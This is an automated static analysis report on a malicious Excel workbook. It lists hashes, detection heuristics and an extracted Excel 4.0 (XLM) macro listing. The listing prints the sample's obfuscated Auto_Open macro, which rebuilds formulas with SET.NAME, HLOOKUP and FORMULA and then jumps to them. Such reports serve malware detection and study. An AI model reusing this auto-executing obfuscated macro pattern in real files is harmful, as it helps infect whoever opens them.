Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c02d0951c993ac51…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:18 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 168d20d604ef89841ba3702657fd4be3 SHA-1: 5216fab36490f60c7081a4e692c1b3b03c89276f SHA-256: c02d0951c993ac510d5498e6ecc2680cfe21eef4c28c2acecf72c2f9b95ef6b4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6463 bytes
SHA-256: 144ec2dead2e14bd340ac18b7261676ece2c43d164b256fb19faf37b1bb73ed6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XqXxV
' 0018     25 LABEL : Cell Value, String Constant - aETerlICSV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F143 
' 0018     22 LABEL : Cell Value, String Constant - bCSMJnh len=0 
' 0018     24 LABEL : Cell Value, String Constant - cAcjmpRFS len=0 
' 0018     25 LABEL : Cell Value, String Constant - CgfXqezeZU len=0 
' 0018     22 LABEL : Cell Value, String Constant - DUnBZgm len=0 
' 0018     25 LABEL : Cell Value, String Constant - EualOVQXzG len=0 
' 0018     22 LABEL : Cell Value, String Constant - FExibqM len=0 
' 0018     20 LABEL : Cell Value, String Constant - FjLRB len=0 
' 0018     21 LABEL : Cell Value, String Constant - FmMQRt len=0 
' 0018     25 LABEL : Cell Value, String Constant - hNNpMgFyEh len=0 
' 0018     21 LABEL : Cell Value, String Constant - kGRIiq len=0 
' 0018     22 LABEL : Cell Value, String Constant - mDtyFbD len=0 
' 0018     23 LABEL : Cell Value, String Constant - NMYZIjRB len=0 
' 0018     20 LABEL : Cell Value, String Constant - nnMpY len=0 
' 0018     25 LABEL : Cell Value, String Constant - OHMlrYKpxi len=0 
' 0018     26 LABEL : Cell Value, String Constant - oUAIZzcHRMC len=0 
' 0018     26 LABEL : Cell Value, String Constant - OVSFBMpdcYI len=0 
' 0018     20 LABEL : Cell Value, String Constant - vOeaa len=0 
' 0018     24 LABEL : Cell Value, String Constant - wukzjCRnW len=0 
' 0018     27 LABEL : Cell Value, String Constant - zopItSFKQAOy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XqXxV,F51,"SET.NAME("FjLRB",VALUE("0"))",""
'  XqXxV,F54,"SET.NAME("OVSFBMpdcYI",FjLRB)",""
'  XqXxV,F57,"SET.NAME("oUAIZzcHRMC",FjLRB)",""
'  XqXxV,F61,"SET.NAME("mDtyFbD",COUNTA(vOeaa))",""
'  XqXxV,F65,"SET.NAME("FExibqM",COUNTA(DUnBZgm))",""
'  XqXxV,F70,[],""
'  XqXxV,F72,"SET.NAME("kGRIiq","")",""
'  XqXxV,F74,"OVSFBMpdcYI",""
'  XqXxV,F78,"SET.NAME("aETerlICSV",HLOOKUP("*",vOeaa,OVSFBMpdcYI,FALSE))",""
'  XqXxV,F81,"nnMpY",""
'  XqXxV,F83,"SET.NAME("bCSMJnh",FjLRB)",""
'  XqXxV,F88,[],""
'  XqXxV,F92,"bCSMJnh",""
'  XqXxV,F96,"EualOVQXzG",""
'  XqXxV,F101,"OHMlrYKpxi",""
'  XqXxV,F106,"hNNpMgFyEh",""
'  XqXxV,F110,"SET.NAME("wukzjCRnW",VALUE(HLOOKUP("*",DUnBZgm,hNNpMgFyEh,FALSE)))",""
'  XqXxV,F113,"zopItSFKQAOy",""
'  XqXxV,F117,"kGRIiq",""
'  XqXxV,F121,"oUAIZzcHRMC",""
'  XqXxV,F124,NEXT(),""
'  XqXxV,F127,"NMYZIjRB",""
'  XqXxV,F129,"SET.NAME("f",INT(T(FORMULA(T(kGRIiq)&"",""&T(NMYZIjRB)))))",""
'  XqXxV,F132,"cAcjmpRFS",""
'  XqXxV,F137,NEXT(),""
'  XqXxV,F140,RETURN(),""
'  XqXxV,F170,"SET.NAME("FmMQRt",F51)",""
'  XqXxV,F173,"vOeaa",""
'  XqXxV,F175,"SET.NAME("DUnBZgm",R69C14)",""
'  XqXxV,F180,"SET.NAME("cAcjmpRFS",188)",""
'  XqXxV,F184,"SET.NAME("CgfXqezeZU",6)",""
'  XqXxV,F187,FmMQRt(),""
'  XqXxV,F188,HALT(),""